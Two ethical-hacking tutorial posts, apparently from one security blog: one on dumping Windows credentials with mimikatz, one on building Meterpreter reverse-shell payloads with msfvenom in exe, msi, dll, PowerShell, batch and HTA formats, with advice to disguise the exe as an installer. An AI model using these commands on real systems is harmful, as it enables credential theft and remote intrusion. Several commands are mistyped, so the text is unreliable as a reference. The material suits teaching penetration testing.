Author: Anamar Taknev

Hello, aspiring ethical hackers. In this blogpost, you will learn about mimikatz, a tool dubbed as “one of the world’s most powerful password stealers” by Wired magazine. Mimikatz is created by Benjamin Delphy as a proof of concept to show that the authentication protocols of Windows can be exploited. Mimikatz is nowadays used by not only pen testers but also threat actors around the world for malicious purpose.

The role of mimikatz comes in Post-exploitation stage after Windows hacking and Windows privilege escalation. It is a binary that needs to be uploaded to the target system after getting the most highest privileges. Then it needs to be run from command line as shown below.

Before you learn about the working of mimikatz, it will be very helpful for you to learn how Windows authentication works. As you read before, mimikatz requires admin privileges to be successful. The “privilege::debug” command displays the privileges of your account.

privilege::debug

If you get the above message, Mimikatz will work successfully. In order to exfiltrate whatever you do with mimikatz to external sources, we require a log. The “log” command displays the log file. By default, its name is “mimikatz.log”.

log

Note that we are running mimikatz on Windows 10 1809 machine that is in a workgroup. The most popular command used with to gather password hashes is “sekurlsa; logonpasswords”.

sekurlsa: logonpasswords

In some cases, this may fail as shown above. We can try this again by elevating our privileges using “token::elevate”.

token::elevate

The “sekur1sa::logonpasswords” is not the only command that helps us in retrieving password hashes. There are various other modules in mimikatz to retrieve passwords. For example, let’s take the “lsadump”module.

The “lsadump::sam” command decrypts the SAM entries of all users on the system.

lsadump::sam

As you can see, NTLM hashes of some users are retrieved. Next, all we have to do is crack this hash using a tool like John The Ripper or Hashcat. The above attack works when Windows system is a part of a workgroup. Mimikatz can also perform other attacks that work when Windows is installed as part of a domain. Here are some of those attacks.

1. Pass-the-Hash attack:

In this type of attack, there is no need to crack NTLM or other hash. The hash can itself be submitted as authentication for gaining access.

2. Pass-the-key attack:

When a user logs into the Domain controller, a unique key is used. Mimikatz can reuse this key to login into the Domain controller.

3. Pass-the-Ticket attack:

Kerberos protocol is another protocol that is used by Windows for authentication. This tool can be used to break this Kerberos protocol and obtain a kerberos ticket for a user account and then use that ticket to login into another computer.

4. Kerberos Golden Ticket attack:

Kerberos consists of a root account that encrypts all other authentication accounts. With mimikatz, we can also obtain this Golden ticket and thus obtain domain admin access for any computer on network.

Hello, aspiring ethical hackers. In one of our previous blogposts you have learnt what is payload and different types of payloads. In this article, you will learn about msfvenom, one of the most popular (if not the most popular) payload creators used in pen testing.

What is a payload?

A payload in cyber security is a piece of code that is executed after successfully running an exploit to take advantage of a vulnerability. When a Proof Of Concept (POC) for a vulnerability is disclosed, this allows most hackers around the world to execute their chosen payloads. This payload can be anything from malware, reverse shell, RAT, ransomware etc or their own custom payload. For example, ms08_067 vulnerability was exploited in real-world to deploy Conficker worm, but while pen testing, a meterpreter payload is used most probably.

What is msfvenom?

MSF venom is a payload generator from Metasploit framework that can be pretty useful in generating payloads for windows hacking, Linux hacking, web application hacking and even mobile hacking. MSFvenom is a replacement to MSF payload earlier.

With the rise in quick patching of zero-day vulnerabilities by organizations, the role of payloads will become more important day by day. Whether it is exploiting a vulnerability or using social engineering the payload plays a very important role in ethical hacking.

MSFvenom is widely used to generate various payloads as requirement during pen testing. Let’s see how it works. All pen testing distros have msfvenom installed by default as part of Metasploit framework. We are using Kali Linux for this tutorial.

You can see all the payloads you can create using MSFvenom using the command “msfvenom-l” .

Now, let’s see how to create payloads with MSFvenom. The primary requirements while creating a payload using MSFvenom are,

-p: payload you want to create

lhost: the IP address you want your shell to connect to

lport: the port of IP address you want your shell to connect to.

-f: Format of the payload.

Most probably, payloads in msfvenom are used to get a reverse shell (Learn about various types of shells). Let’s create a Windows executable payload. The primary files used in Windows are executable (exe) files. These files are used by Windows users to install applications and programs. So. all we have to do is create a exe payload using msfvenom and masquerade it as an installer and we are good to go. Here’s the command.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444 -f exe > hc_rs.exe

Apart from exe files, there are also other executables that are used for installing various applications in Windows. MSI stands for Microsoft Software Installer. Here’s how we can create a MSI payload with msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444 -f msi > hc_rs.msi

Dynamic Link Library (DLLs) are library files in Windows that contain code that is commonly used by multiple programs and applications in Windows. These type of payloads are used in infection chains while trying to infect a system.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444 -f dll > hc_rs.dll

PowerShell is soon becoming (or already became) one of the favorite scripting languages of hackers. Here is how we create a PowerShell payload using msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444 -f psh > hc_rs.ps1

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444 -f psh-cmd > -f raw

Before PowerShell there was only Batch scripting in Windows systems. We can also create Batch payloads using msfvenom as shown below.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444  > hc_rs.bat

The newest file type to be used by hackers in their infection chains is HTML application file type (HTA). HTA’s are typically a web page. Here’s how to create a HTA payload.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.40.169 lport=4444 -f hta-psh > hc_rs.hta